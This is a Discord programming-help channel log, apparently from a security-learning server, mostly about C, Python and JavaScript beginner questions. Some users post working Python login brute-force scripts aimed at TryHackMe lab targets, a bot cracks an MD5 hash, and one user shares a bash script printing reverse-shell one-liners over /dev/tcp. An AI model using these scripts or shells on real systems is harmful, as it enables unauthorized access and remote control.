#programming

1 messages · Page 25 of 1

magic falcon
#

Think about what the type is of the data you are working with, and where you are converting.

#

That code is not hard to read, Jabba. var names aren't descriptive, but that's really common in math algorithm implementation.

vernal vigil
#

idk if its normal, but i give names like these

Scanner input1 = Scanner....
Scanner input2 = Scanner ..

pre easy to understand if am giving it to read to someone else

dusty ore
#

It's a simple math program so yea I was too lazy to rewrite the very long variable name again

vernal vigil
#

but its kinda obvious soo

dusty ore
#

k imma start rubber duck debugging tomorrow

#

james told me it's core skill so tipsfedora

magic falcon
#

It really is. It wasn't introduced to me by that name, but the process was the first way debugging was introduced to me.

dusty ore
#

What is the shorter way of saying "rubber duck debugging"

magic falcon
#

Another technique that will help you a lot is use TDD. This is especially helpful for math functions because black box concepts are really easy understand with math functions.

dusty ore
#

Oh

#

"talk to the duck" technique

onyx merlin
true pumice
#

Ohh, I do that all the time

#

People think I'm crazy

surreal bronze
#

"Talking to your self is a sign of being a genius"

mortal flint
#

We used to call talking to yourself schizophrenia. Now we just call it bluetooth 🤷‍♂️

steel zodiac
#

Hello everyone, please I have a question about pointers in C language.
This notation
P1=&A;

Means that P1 receives the adress of A (a given variable ) does this also imply that *P1=A the value of P1 becomes the same value as A?

magic falcon
#

That can depend on what kind of variable P1 is declared as

steel zodiac
#

Integer

magic falcon
#

int P1 = &A; is horrible practice. Don't get in that habit of storing addresses as integers.

steel zodiac
#

It's declarred like this
int A=1;
int *P1;

magic falcon
#

int * and int are two very different datatypes.

#

in your scenario, P1=&A is telling P1 that the address P1 is pointing to is the same place in memory as A. *P1=A is de-referencing the address of P1 and copying the value of A into that address. This can be dangerous if the memory P1 is pointing to has not been allocated by the program.

#

It's pretty common mistake to do something like int *P1; int A = 7; *P1=A

steel zodiac
#

int *P1; int A =7 ; P1=&A;

#

Is the correct form?

magic falcon
#

Same problem

#

but yeah, ; between statements

steel zodiac
#

Okay thanks

languid sail
#

Anyone here?

#

Hey!

quaint inlet
#

hello

languid sail
#

I made a python script to brute force Mr robot room on TryHackMe...

#

But after 500 Tries, it gives an error....

quaint inlet
#

whats the error

languid sail
#

Software caused connection error

#

The full error is very long

#

I am running this on android

#

Is that the problem?

#

Hey!

#

I didn't understand whats going on....

#

Umhmm

#

Yes

#

But what's the problem? I have a stable internet connection

lilac holly
languid sail
#

How?

#

@lilac holly I wrote correctly, I think

lilac holly
#

look at the errors.

#

it shows the code and what line

languid sail
#

They are connection errors?

lilac holly
#

maybe some but lots look like syntax errors afaik

#

i don’t really program at python but it looks like it’s syntax error

languid sail
#

Hmmm. Are they In my program?

#

Or any module?

lilac holly
#

i see the error trying to say something abt the file

languid sail
#

Where?

lilac holly
#

read the error

lilac holly
#

i can’t really help i never code py before

#

i do minimal python but that is syntax errors

languid sail
#

42 and 31?

lilac holly
lilac holly
#

it’s the code that is making the request which is giving you errors

#

that reminds me cpp programming, one error and it will show a bunch of error message.

languid sail
lilac holly
#

not your connection

lilac holly
languid sail
#

Hmmm.

lilac holly
#

it’s the request codes

languid sail
#

But the problem is, the error occurs differently everytime...

#

Sometimes at password 500

#

And sometimes at 700

#

Even sometimes at 1500

lilac holly
#

the program will do exactly what you wrote

languid sail
#

So why an error?

lilac holly
languid sail
#

Should I send the code?

lilac holly
lilac holly
languid sail
#

Sure

#

Wait 2 minutes

lilac holly
#

i also saw soemthing about your library’s did you install all your requirements ?

languid sail
#

I will send

lilac holly
#

and packages

lilac holly
#

ok yeah i saw errors in that too

#

you messed up somewhere in your code.

languid sail
#

Wait

remote echo
#

@languid sail what commend u ran?

#

Like that

#

Can u show

languid sail
#

The program:

#

Now?

remote echo
#

Can u send in codeblock or pastebin lmao

#

Plz

languid sail
#

What's that?

#

You mean as a Pastebin file?

#

Sure

remote echo
#

Yes

languid sail
#

Ok

#

Codeblock:

import sys
import requests
import threading

pwd = str("0")

if len(sys.argv) not in [4]:
    print('[*] Usage: python wpbruter.py <target> <username> <wordlist>\n')
    sys.exit(1)

if sys.argv[1][:7] != 'http://':
    host = 'http://' + sys.argv[1]
else:
    host = sys.argv[1]

print ('[*] BruteForcing:', host)
print ('[*] Username:', sys.argv[2])

try:
    passwords = [x.strip() for x in open(sys.argv[3], 'r', encoding='latin-1').readlines() if x]
    print ('[*] Total Passwords Loaded:', len(passwords), '\n')

except IOError:
    print('[-] Error: Wordlist Not Found\n')
    sys.exit(1)

def Brute(target, wlist):
    s = requests.Session()
    for number,password in enumerate(passwords):
        fodata = {'log': sys.argv[2],'pwd': password}
        response = s.post(target, data=fodata)
        print("[*] Trying Password#" + str(number) + ": " + password)

        if "The password you entered for the username" not in response.text:
            print()
            print('[+] Password Found: '+ password)
            global pwd
            pwd += str("1")
            sys.exit(0)

try:
    Brute(sys.argv[1], sys.argv[3])

except KeyboardInterrupt:
    print("[-] Aborted")
    sys.exit(0)


if pwd == str("0"):
    print("[-] Password Not Found")
    sys.exit(0)
#

Now?

lilac holly
languid sail
#

?

lilac holly
#

as i say i can’t really help i don’t code py

languid sail
#

Hmm

lilac holly
#

look at your exception

languid sail
remote echo
#

Ig ur problem is args, argv[0] should by python3 right? Or filename?

languid sail
#

Python3 is argv 0

#

Argv 1 is target

remote echo
#

Nope

languid sail
#

O

#

Ya

#

I forgot sorry

remote echo
#

That's where u messed up code

languid sail
#

The command was: python3 MrRobot.py target Elliot fsocity.dic

languid sail
remote echo
#

U are connecting to http://MrRobot.py instead of target

languid sail
#

I see

#

But i did brute some wp sites with this..

remote echo
#
if sys.argv[1][:7] != 'http://':
    host = 'http://' + sys.argv[1]
else:
    host = sys.argv[1]
#

See

languid sail
#

And it worked

#

Oooo

remote echo
#

Idk what u did there, but here u messed with arguments

languid sail
#

I see

languid sail
#

Will it work?

remote echo
#

Are u just copy pasting from somewhere?

languid sail
#

Noooo

#

Somewhat

#

Is copied

remote echo
#

target is argv2 , username is argv3 and word list is argv4.
Either make changes accordingly
OR
Add shebang to ur code and make it executable then run like ./Mr.Robot.py

languid sail
#

Ooo

#

I see

lilac holly
#

damn python syntax burns my eyes

remote echo
lilac holly
#

lmao idk

languid sail
#

So, there are 5 arguments?

#

Wait....

#

I see something....

#

That's not the problem.

remote echo
#

Oh, so it's working

languid sail
#

See, it says, BruteForcing: target.

And it's correct, sys.argv[1]

#

And in the program, host is set to sys.argv 1

#

So that is correct

#

Right?

lilac holly
#

interesting

remote echo
#

@languid sail the error is coming after 500 attempts?

lilac holly
#

i remember i make a game called “hangman” with cpp

languid sail
remote echo
#

Yeah, i mean approx

languid sail
#

Now, when i tried, it went till 5000

#

Sometimes, it's approximately 700 or so

vernal vigil
#

I have 2 questions.

  1. Why on a mobile?
  2. Why on a mobile?
languid sail
#

Cause my laptop is not with me...

remote echo
#

Then it's just internet issue or their side maybe

languid sail
#

I am running python emulator

remote echo
#

Cuz in a ctf, i wasn't able to go over all iteration in programming chall, so i just gave script to my teammate from other country and it worked for him

lilac holly
#

i see ^C then aborted

languid sail
lilac holly
#

^C is ctrl + c

languid sail
#

So, can I just print connection error and then go on?

languid sail
vernal vigil
#

ok.

def question = {
  println("Why on a Mobile?")
}

question()
question()
languid sail
#

Volume down + C does the same

remote echo
vernal vigil
#

No

vernal vigil
#

thats the syntax of closures

#

in ...

languid sail
#

What should I do?

remote echo
#

Damn groovy

languid sail
#

If yes, then how?

remote echo
#

@languid sail no , script isn't issue ig

languid sail
#

I see

remote echo
#

U can try turning down speed or use threading

lilac holly
#

while(true)
{
std::cout << “why are you on mobile?\n”;
}

remote echo
#

U just imported it but didn't use

languid sail
#

But I thought, that was the problen6

vernal vigil
languid sail
#

And BTW, threading was the same speed as loop

#

As this is web. Maybe...

remote echo
lilac holly
languid sail
languid sail
languid sail
remote echo
#

What?

languid sail
remote echo
#

I didn't get what u wanna say

languid sail
#

Wait: So, can I just print connection error and then go on?

remote echo
#

Yo, i can read, i didn't understand it lmao

languid sail
#

I am asking, where should I add the except statement...

#

When this error occurs, it should print and continue

remote echo
#

Well, if connection is lost, is it even gonna ever find password?

#

I don't think it will right

languid sail
#

But the connection can come back? Right?

#

Till then, like gobuster, it should print

remote echo
#

Idk tbh whether it will come back or not

languid sail
#

Hmm

#

Interesting

#

So, what can i do?

remote echo
#

Maybe just try it out ¯_(ツ)_/¯

languid sail
#

But that's what I am asking. There are many occurred errors and where should I add except?

lilac holly
#

i hate exceptions

languid sail
#

Me too

lilac holly
#

hard to follow and scary looking error

remote echo
#

||That's why u should use functions and organised code||

lilac holly
#

why not print out if it fails

languid sail
languid sail
remote echo
#

At the Except, u can do like except exception as e: and then see if it keyboard interrupt, if yes then quit, else pass.

OR

U can try using try except else statements

lilac holly
#

so much exception is weird in a small program

#

plus u can use exception with multiple throws

lilac holly
#

no need to separate

languid sail
#

Just like: except:?

remote echo
languid sail
lilac holly
#

swanandx no chill

remote echo
languid sail
lilac holly
languid sail
#

Hmm

lilac holly
#

it’s how u handle exception errors

remote echo
#

Just Google lmao

languid sail
#

Ok. I will see. See you soon!

#

Thankyou @remote echo, @lilac holly , @lilac holly and @vernal vigil

remote echo
#

Btw sorry if I was like rude lmao, i just woke up

#

And have end sem in an hour

languid sail
#

Why? You were not rude...

#

Thanks for helping. :)

remote echo
#

Rude isn't the word but I'm bad at vocabulary 😂

languid sail
#

Ok

#

Bye

wispy kestrelBOT
#

Gave +1 Rep to @remote echo

lilac holly
#

that’s the thank you

languid sail
#

I know

#

+rep @remote echo

wispy kestrelBOT
#

Gave +1 Rep to @remote echo

vernal vigil
languid sail
#

But still

#

You deserve it

vernal vigil
#

yell_cat ok

vernal vigil
#

did i ask you?

languid sail
#

Hey!

#

How can I make the program continue after the exception?

vernal vigil
#

add a finally block

languid sail
#

?

#

I added pass

#

Will it work?

vernal vigil
#

or an except else.

#

Pass will ignore whatever is inside [generally nothing will be inside] and move on with the code, it does nothing.

languid sail
#

How to use except else?

languid sail
#

+rep @vernal vigil

wispy kestrelBOT
#

Gave +1 Rep to @vernal vigil

languid sail
#

Can you guide me? Where I have to change?

#

I am not able to understand...

vernal vigil
#

I am busy atm.
try watching yt on Exception Handling in Python. They can help ya out

languid sail
#

Ok

#

Thanks

dusty ore
#
def prime(n):
    if (n>1):
        for i in range(2,n):
            if (n%i)==0: 
                print("NO")
                return
        else: 
                print("YES")
                return
    else: print("NO")
    return
n=int(input())
prime(n)``` 
Why isn;t my code working, im trying to check for prime number but I entered 9 and it said yes
#

Ah I see

#

The code works now. I misplaced the else: it should be within the for loop instead of the if loop

vernal vigil
magic falcon
#

I agree with potato.

#

You have a couple of fundamental problems with your algorithm.

restive fossil
solar hull
#

Because rockyou isn't all unicode.

#

It might make sense to read it in as byte strings or something.

restive fossil
solar hull
#

I have no idea.

magic falcon
solar hull
#

I'd guess it's somehow related to read(). But I don't know for sure.

true pumice
#

It is

#

There's a very special argument 👀

vernal vigil
#

ooh, don't forget to close the file after you're done looping

restive fossil
#

how do i fix it

surreal bronze
#

uh

#

I had that issue before

#

gimme a sec

#

this should...work?

#
f = open('/path/to/rockyou.txt', 'r', encoding='iso-8859-1')
#

@restive fossil

restive fossil
#

makes sense

#

lemme try it

surreal bronze
#

fyi rock you is full of clutter

restive fossil
#

yeah

#

makes a lot of sense

magic falcon
#

Jayy, the most pythonic way to read a file is using the with open() pattern

surreal bronze
#

yeah I know, just copied it off my old msg haha

restive fossil
#

my first ever successful python bruteforce script

#

i feel proud

remote echo
#

GG

restive fossil
wispy kestrelBOT
#

Gave +1 Rep to @surreal bronze

inland elbow
#

hi

#

i wish to be active in this community

#

i used to avoid posting my videos in this server. but, i defy since, it is relevant video

restive fossil
#

passwords = [ x.split() for x in open('/usr/share/wordlists/rockyou.txt', 'r', encoding='iso-8859-1').read().split('\n') if x ]

#

what are the .split's doing here

#

oh

#

got it

#

nvm

exotic skiff
#

alright rlly random, is anyone here good at chemistry

true pumice
lucid hollow
#

HI

inland elbow
fervent kraken
#

Can you recommend me a leetcode-style site to practise some OO concepts specifically? So far I've found the problems on Codewars in the OOP category to be the closest to what I'm looking for, but I'm still asking if someone can recommend anything on top of that

remote echo
#

Check pins

fervent kraken
#

no, I know there's a list, I was looking for a recommendation.

surreal bronze
mortal flint
#

I thought it was SolarWinds123?

graceful quartz
#

Surely the password is "PASSWORD\n123" not "PASSWORD 123"

surreal bronze
#

!crack 69b87ac274cbf60c32d7969f4357325d

narrow terraceBOT
#
Cracks hashes via Search-That-Hash API

Cracked 69b87ac274cbf60c32d7969f4357325d :smile:

Cracked :

solarwinds123

Additonal Info :

Type(s): MD5

@surreal bronze
https://github.com/HashPals/Search-That-Hash

tired ether
#

Is there a name for this syntax of writing bytes \x41\x42\x43 ? escaped bytes ?

solar echo
#

@tired ether hexadecimal?

mortal flint
#

that's not hex

solar echo
#

@mortal flint pretty sure it is

#

@mortal flint x41 = A, x42 = B and x43 is C

#

you can look it up on cyberchef

rigid tapir
#

Hi all, can anyone help explain some python syntax to me, I don't understand it and can't find any more info> (using socket library)
connection, address = s.accept()
Is this setting connection and address to be the same value of s.accept() ? Or is it the same as doing s.accept(connection, address) ?

mortal flint
#

s.accept() returns two values

tired ether
#

s.accept will return a tuple in the form (x, y) (I don't know the exact contents offhand) and the assignment will be expanded to connection =x, address = y

solar echo
#

@rigid tapir it's like this, if you do the line

x, y = 1, 2

print(x, y)
#

then x will = 1

#

and y will = 2

#

it's respective to the order they're defined in

tired ether
solar echo
#

so since s.accept() returns two values, with this in mind your line

connection, address = s.accept()

connection will equal the first returned value and address will equal the second returned value

#

and if you only said something like

#
conncetion = s.accept() 

then connection will be assigned both values and be a tuple

#

@tired ether hmmmm, I usually use those arguments when writing in perl or something

#

and to my knowledge it was in hexadecimal

#

@tired ether are you using it for something at the moment? if so could you post it

#

in a book i'm reading it says
Any character, such as a nonprintable character, can also be printed by using \x##, where ## is the hexadecimal value of the character

tired ether
#

It's okay, I figured out my problem it was just hard to search for because I don't know what the name of this \x41 syntax is hahaha, but thank you 🙂

solar echo
#

@tired ether yeah I'm pretty sure I'm right in saying that you can just call it hexadecimal

#

because at the end of the day, that's typically what it's used for

#

and also what it translates to

#

also, you don't always have to include the 0 in hexadecimal

tired ether
#

My problem was searching about hexadecimal all the posts used 0x41 which wasn't applicable for what I'm doing 😅

solar echo
#
ggOh@localhost:~$ perl -e 'print "\x41\x42\x43\n";'
ABC
tired ether
#

I'm just wondering is there some special name for writing like \x41

solar echo
#

yeah I get what you mean

rigid tapir
wispy kestrelBOT
#

Gave +1 Rep to @mortal flint

rigid tapir
solar echo
#

not a problem man

#

I also don't know how the rep system works

#

only just joined

mortal flint
#

if you do a +rep and mention a name, or say "thanks" while replying to someone, they get one rep point

solar echo
#

ah

#

I see

mortal flint
#

Have to be verified, though, so @solar echo , you may want to do this:

#

!docs verify

narrow terraceBOT
mortal flint
#

also, you can only thank 1 person every 5 minutes (or maybe 10?)

solar echo
#

not suprised

#

I'll verify eventually

#

not too bothered to it at the moment

lilac holly
#

does anyone here know assembly language?

solar echo
#

I know some of it

#

I'm more familiar than competent with most of it

lilac holly
#

since I'm personally into low-level & bare-metal ethical hacking

solar echo
#

I'm interested in low level programming, not too much of a fan of assembly though, I prefer programming in C. But if you want to know it well then it's best to know assembly and how the processor and memory works

lilac holly
#

I'd also be willing to learn C

solar echo
#

you should

#

my favourite language of all time, but can prove to be a bit trick at times

#

are you a beginner to these things or are you trying to ask an assembly question?

lilac holly
#
for (let move of piecesPositionList) {
    let index = named.indexOf(move.charAt(0));
    for (let i = 0; game[i][index] !== 0; i++){
       console.log("hey");
       if(game[i][index] === 0) {
         if(go === 0) {
           game[i][index] = startPlayer;
           go = 1;
           break;
         }
         else {
           game[i][index] = secondPlayer;
           go = 0;
           break;
         }
       }
     }
  }```
#

Is anyone able to see why the second for loop not running?

#

I've logged a "hey" to check and it doesn't seem to run.

mortal flint
#

what languages is this? js?

#

game[i][index] !== 0 is probably your problem

lilac holly
#

Yes, it's JS.

#

Why is that a problem?

mortal flint
#

do you know that the first loop definitely gets executed?

lilac holly
#

Yes

#

It does. I checked it.

mortal flint
#

after that let index = line, I'd print out what index is, as well as game[0][index]

lilac holly
#

the index depends on each loop

#

but it works

mortal flint
#

I mean the first one, before the inner loop

lilac holly
#

that's why I am confused

#

Yes.

#

game[0][index] works

mortal flint
#

well, if it works, then what's the problem? 🙂

lilac holly
#

the second loop doesn't run

#

the inner loop

mortal flint
#

what's the value of game[0][index]?

#

before the inner loop runs

lilac holly
lilac holly
mortal flint
lilac holly
mortal flint
#

before that inner loop, print the value of: game[i][index] !== 0

#

should be true or false.

lilac holly
#

you're right

#

I need to use a different loop for this

magic falcon
#

At least a different condition

mortal flint
#

if/when that condition is false, the loop exits. Even if that means it exits on the first iteration

lilac holly
#

yeah I better use a while loop

magic falcon
#

That isn't going to solve your problem.

lilac holly
#

it will

#

I just need to change a few things

mortal flint
#

while loops and for loops are (or can be) written to be equivalent

lilac holly
#

yeah true

#

waot

lilac holly
mortal flint
#

I'm not even sure you want/need an inner loop there. You're switching back and forth between two values, it looks like?

lilac holly
#

Yes

#

I need it cause I need to know when to go up arrays or not

#

but what I wanna know is why inner loop don't run

#

if game[i][index] === 0;

mortal flint
#

perhaps using a boolean would be better? something like isPlayerOnesTurn

lilac holly
#

then shouldn't it run until it's not 0?

mortal flint
#

show me the loop init line

lilac holly
#

for (let i = 0; game[i][index] !== 0; i++)

lilac holly
#

although boolean works too in a way

mortal flint
#

if(isPlayerOnesTurn) { x = 0 } or something

mortal flint
humble sandal
#

you want to loop to run as long as game i index is not 0 but then you do if game i i ndex == 0 which will never happen since the loop will no longer execute when its 0 ?

lilac holly
magic falcon
#

!== is a type comparison. JS is funky, and may not be evaluating zero the way it ought to

lilac holly
#

but they are the same type

#

they are both number types in JS

solar echo
#

@lilac holly oh well to be honest, I'd recommend you start with C or something before you dive into Assembly

#

learning Assembly will help learning C, but then learning C will help learning Assembly

#

it's just that C is easier, and since you're a beginner I think it's appropriate

lilac holly
#

makes sense

#

any IDE and or recourses you think I should get, for teaching myself? @solar echo

solar echo
#

IDE I'd say just go with Visual studio code as you can easily run programs in there. I use Vim and compile, debug and run in terminal. I will send you resources in dms

#

most people recommend "The C Programming Language", and although this is a good book. I think that it's for someone who is more experienced computer science and programming wise

#

so instead I recommend the book "Head First C" which I think is a book so simple that even a 5 year old could comprehend it

#

yet it covers so much in so much detail

#

I sent you a pdf of it in dms

#

nevermind, looks like you don't like outsiders

onyx merlin
#

@solar echo Do not distribute copyrighted material, that's book piracy

solar echo
#

as for assembly, I recommend reading "Hacking: The Art of Exploitation 2nd Edition" by Jon Erickson

#

@onyx merlin sorry

#

just trying to help the guy out

onyx merlin
#

Yeah, but don't break the law while doing that.

solar echo
#

mhm

#

anyways

#

The art of exploitation teaches C in it's second chapter, now although you could argue that this makes reading Head First C useless... I disagree. It teaches things at a fast pace and very briefly. A beginner won't be able to keep up

#

this also explores the relation ship Assembly, C and the cpu has with each other

lilac holly
#

I'm currently installing Visual Studio Code @solar echo

solar echo
#

do it

#

you should also familiarise yourself with compiling C files and also some bash

#

you learn some of that in the book I recommended you

#

;)

onyx merlin
#

@solar echo I saw that

solar echo
#

dammit

#

guess I'm in trouble

onyx merlin
#

-warn @solar echo Do not attempt to DM users with pirated copies of books. Do not promote or encourage pirating books or other copyrighted material.

wispy kestrelBOT
#

⚠ Warned CL04K#1206

onyx merlin
#

To make it clear, if you do it again I'll ban you.

solar echo
#

I'm sorry, I won't do it again

onyx merlin
#

Also, fun fact

#

-undelete -a

wispy kestrelBOT
#

Up to 10 last deleted messages (last hour or 12 hours for premium):

1 minute ago (Fri May 21 23:47:28 2021) CL04K#1206: also, you can pirate it online

solar echo
#

very cool

lilac holly
#

now I need to get github, which I'll be doing

solar echo
#

you can just use it on your browser

lilac holly
solar echo
#

no I can't

#

I tried already

#

just send me a friend request

lilac holly
#

done @solar echo

solar echo
#

done what?

#

installing vs code?

#

vs is just short for visual studio

lilac holly
#

no, I mean that I sent you a friend request lol @solar echo

solar echo
#

oh

bronze swift
#

Hey some1 can give me code for XAMMP for cmd

vernal vigil
#

?

bronze swift
#

kinda like i wanna run XAMMP in cmd but i dont remember how to run

vernal vigil
#

Have you tried googling it?

lilac holly
#

Hey guys need a small help with c++

surreal bronze
#

What do you need help with?

bronze swift
#

i do check wait

dusty ore
#

How do I write this condition in an if statement? If this condition is true then go to else: in python btw

#

To be more clear, I wanna write an if statement. If not abs(a)<=1000 or not abs(b)<=1000 or b==0 then print('invalid' else: print out function

#
if not(abs(a)<=1000) or not (abs(b)<=1000) or (b==0): print("INVALID")
else: recfac(a,b)```
#

Is this ok

#

🤔

#

Ah it works now

#

I dont know why i didn't do rubber duck debug

languid sail
#

Can anyone help me with python grequests?

#

I was looking for threaded requests

#

And found this

#

I am making a POST request

#

I was to print the response as text

#

In requests, we de response.text

#

What to do in grequests?

surreal bronze
#

Have you googled it?

languid sail
#

Yes

#

Got nothing useful

#

What happened? Anyone here?

surreal bronze
#

dont know, sorry

languid sail
#

Ok

#

No problem

fading tartan
#

Why don't use requests + threading ?

languid sail
#

Doesn't work

#

@fading tartan It runs on the same speed

#

But grequests is very fast

fading tartan
#

Hmm, Maybe make multiple threads.

#

maybe this helps you

languid sail
remote echo
#

I'm pretty sure u can find it

#

cuz i did

languid sail
#

I am not getting it...

remote echo
#

I mean, u didn't looked nicely

languid sail
#

Hmm

#

@remote echo, I want response.text

#

Not response.status_code

remote echo
#

Are u even reading it?

#

Just do response.text

languid sail
#

Hmm

#

Will the same work on post requests?

remote echo
#

Google ? Anyway, idk. But it should work

languid sail
#

Hmm

#

I see

remote echo
#

Atleast read and try what is given to u

languid sail
#

Sure

#

Btw, I also found this earlier

#

But as I saw get request, I left ..

#

Thanks for leading me to the correct direction

#

+rep @remote echo

wispy kestrelBOT
#

Gave +1 Rep to @remote echo

remote echo
languid sail
#

Ooo

remote echo
#

It has post requests too

languid sail
#

I see

remote echo
#

And yes everything was on first few links of Google search ¯_(ツ)_/¯

languid sail
#

Hmm

remote echo
#

Good luck 🤞

#

Hope that works

languid sail
#

Thanks!

dusty ore
#

can anyone help me with some basic python stuff?

#

if the input is a c
print out the list of characters from a to c more specific is a b c

#

how can i do that with for loop

#

I got someone help me, sorry i was too sleepy to focus

solar echo
#

@dusty ore was it a tuple or something that you were working with?

dusty ore
#

Ye

solar echo
#

did you figure out your problem or do you still need help

#

I think this would be easier to do with a list or a dictionary

true pumice
#

Something like this?

data = ["a", "b", "c", "d", "e"]
userInput = input("Enter a selection: ")

save = False
output = []

for char in data:
  if char == userInput.split(" ")[0]:
    save = True

  elif char == userInput.split(" ")[1]:
    save = False

  if save:
    output.append(char)

#

Super inefficient but it's the easiest

solar echo
#

not too bad, it works

#

better than making two variables for the range

#

like

#
userInput1, userInput2 = input("Enter a selection: ")
#

I haven't wrote python in ages but I'm pretty sure that works

surreal bronze
#

nah

#

that wont work @solar echo

#

You'll get a value error because its 2:1

solar echo
#

you have to put .split() at the end rihgt?

#

of the input function

#

that's where I made the mistake right?

surreal bronze
#

yup that works :))

#

tho!

#

if you have it split into more then 2

#

it wont work

solar echo
#

yeah I know that

#

sorry, I usually write in C and like JS

surreal bronze
#

no worries haha

lilac holly
#

binary '==': no operator found which takes a left-hand operand of type 'const _Ty' (or there is no acceptable conversion)
this error makes no sense
also its in the xmemory.h file

anyone know why im getting this error?

remote echo
#

U would need some checks though

#

I.e. ord(user[0]) <= ord(user[1])

wintry hound
#

wow, just learned that golang initializes its rng with a shared default seed. That seems a little odd to me, given that this language also aims for programming starters?

#

I noticed while looking at the output of a loop that generated some random strings

magic falcon
#

It's pretty common in a lot of languages. Using a seed that you can predict makes initial correctness checks for your algorithm easier, though.

wintry hound
#

sure, I get that part. I just thought that newer languages would initialize the rng with a bit of safety in mind and define a testseed as a constant to verify the correctness.

#

Or, at least, languages that aim for people like me ^^

#

well, (re-)taught me a valuable lesson: read the documentation 🙂

languid sail
#

@remote echo , Getting some errors with the method you told

#
import grequests
import sys

cookies = {
    'connect.sid': 's%3A_VE3KxizENRfy7u30BXXgOcIrtiPz4JW.flTew3o2zUrYPWLrEc5BnC%2FJbD9LYirhV7CBoT2gF5k',
}

headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Referer': 'http://10.10.94.179/login',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://10.10.94.179',
    'Connection': 'keep-alive',
    'Upgrade-Insecure-Requests': '1',
}

passwords = [ x.strip() for x in open('/usr/share/wordlists/rockyou.txt', 'r', encoding='latin-1') if x ]

for password in passwords:
    data = {
      'username': 'molly',
      'password': password
    }
    
    print("[*] Trying Password: " + password)
    
    rs = grequests.post('http://10.10.94.179/login', headers=headers, cookies=cookies, data=data)
    grequests.map(rs)

This gives an error:

Traceback (most recent call last):
  File "/home/kali/Hydra.py", line 30, in <module>
    grequests.map(rs)
  File "/home/kali/.local/lib/python3.9/site-packages/grequests.py", line 121, in map
    requests = list(requests)
TypeError: 'AsyncRequest' object is not iterable
#

Can anyone help me here?

#

Got it!!!

remote echo
#

grequests.map((grequests.post(url, data=post_data, ..., headers=headers),))[0] try like this @languid sail

dusty ore
# dusty ore can anyone help me with some basic python stuff?

I forgot to include code for my question. This is what i ended up with:

line = input().strip()
start, end = line.split()

start = start.lower()
end = end.lower()

vector = []
for char in range(ord(start), ord(end) + 1):
    vector.append(chr(char).upper())

print(' '.join(vector))

Anyway, it is solved, thanks guys

thin shoal
#

can a header file in c be named as .c instead of .h?

#

like its a header file in the source just the extension is .c

thin shoal
#

nice

#

thanks

lilac holly
#

+rep @lilac holly

thin shoal
#

+rep @lilac holly

wispy kestrelBOT
#

Gave +1 Rep to @cerulean turret

thin shoal
#

uwu

lilac holly
thin shoal
#

one more question should a dll file be always a header file in c?

#

or can include both the header and the source file in one executable

lilac holly
#

so to answer both,

thin shoal
remote echo
#

Anyway GG

dusty ore
#

i was having a problem because i used a character as a variable

#

and I was sleepy so i couldn't focus

remote echo
#

Lol

dusty ore
#

lol

void falcon
#

Can anyone suggest me projects related to cyber security that I can develop

surreal bronze
#

pins

dusty ore
#

Can someone help me with this.
input: N
output: x

#

In python

#

I saw someone did this with only 3 lines of codes but i don't understand them :(

n = int(input())
detal = 1 + 8*n
print(int(abs((-1+math.sqrt(detal))/2)))
#

Example:
input: 6 output:3

surreal bronze
#

Abs = absolute difference

#

So it's finding the difference between the numbers

#

.sqrt = square root

onyx merlin
surreal bronze
#

Value sorry

onyx merlin
#

AKA ignore the sign, just give the magnitude

dusty ore
#

I know but idk how the code applies to the logic

onyx merlin
#

There's a fomula for the sum of natural numbers like that

glass cape
#

n(n+1)/2

onyx merlin
#

formula 1+ 2+ ... + n = n(n+1) / 2, for n a natural number

#

That's how I'd do it at least

glass cape
dusty ore
#

i never know such formulas to these problems tbh

#

I just use loops everytime

glass cape
#

a + a + d + a +2d .. . . . . a + (n-1 )d = n(n-1)/2
a = 1 term , d = common diff , n = number of terms

dusty ore
#

oh

#

think my mind is bout to explode

glass cape
dusty ore
#

woa thanks. Imma check it

glass cape
#

this second part

#

@dusty ore note this is not the solution that of ur question but it will make u understand it well

dusty ore
#

Thanks

glass cape
#

hey sorry its a wrong link tbh

dusty ore
#

I will watch it for a better understanding about arithmetic progression

glass cape
dusty ore
#

okay

glass cape
#

yeah this is more fundamental

#

after you watch this watch the other 2

dusty ore
glass cape
glass cape
#

till then i try to solve that question

dusty ore
#

okay thanks man

#

appreciate it vent

glass cape
#

@dusty ore

so here we will use this equation 
like this N = x(x-1)/2= $x^2 -x -2N
by using qudratic equation
$(-b +- \sqrt{b^2 -4ac}/2A)
-1 +- underoot(1 - 4*1*2N)
= -1 + - underoot(1-*8n)
they used abs for the absolute value as we want least value
dusty ore
#

let me read and try to understand

glass cape
#

i am asuming that you have seen the first video

dusty ore
#

Nah, i'm almost burned out

#

So I guess imma watch it tomorrow

glass cape
#

ok

dusty ore
#

thanks alot for helping me

#

❤️

glass cape
crisp elbow
#

!/bin/bash

echo "Select any language to get its shell code"
echo "1.bash"
read choice

if [$choice=="1"]
then
echo "bash -i >& /dev/tcp/$1/$2 0>&1"
echo "bash -c 'bash -i >& /dev/tcp/$1/$2 0>&1'"
echo "0<&196;exec 196<>/dev/tcp/$1/$2; sh <&196 >&196 2>&196"
echo "/bin/bash -l > /dev/tcp/$1/$2 0<&1 2>&1"
fi

#

i am having error on line where choice variable is being compared to 1

#

i also tried [[$choice -eq 1]]

haughty oracle
#

hello, my question is on auto tracking camera algorithm, so i don't know if i can have a answer on this server but.. i test
so is there a person that know how auto tracking camera algorithm works ? thats for a project of like.. auto turret security system

#

thank you

crisp elbow
#

lol i thought you were answering me

haughty oracle
#

sorry i don't do bash

#

a little bit i can't help you

crisp elbow
#

np dude

haughty oracle
#

good luck ^^

stone kayak
onyx merlin
#

See also: Life Hutch - Love, Death, and Robots Season 2

haughty oracle
#

@stone kayak yes i track human whit tensorflow pretrained neural network, but wen i know where the person is, if i have like 2 FPS how can i track the person correctly like fluently ?

#

there is no like intelligent algorithm whit complexe math ?
all algorithm are dumb like if the detected object are too far on left i turn left to place it on the center and so if i have like 1 FPS and i move at 1° it will move 1° every 1 second ???

#

that is my problem

vagrant lake
#

@crisp elbow just try

if [ $choice -eq 1 ]
then
echo "Choice is 1"
fi
dim slate
#

Need some help with C if anyone can.
I have an array of structs which contains a name, a value between 5 and 150 (This project is basically a change calculator).

The program opens a file and reads records from it to the struct array, now, when there is a duplicate name, these need to be treated as the same person, so ideally add the change value from the second name instance, to the first name instances record, then delete the second name instance record.

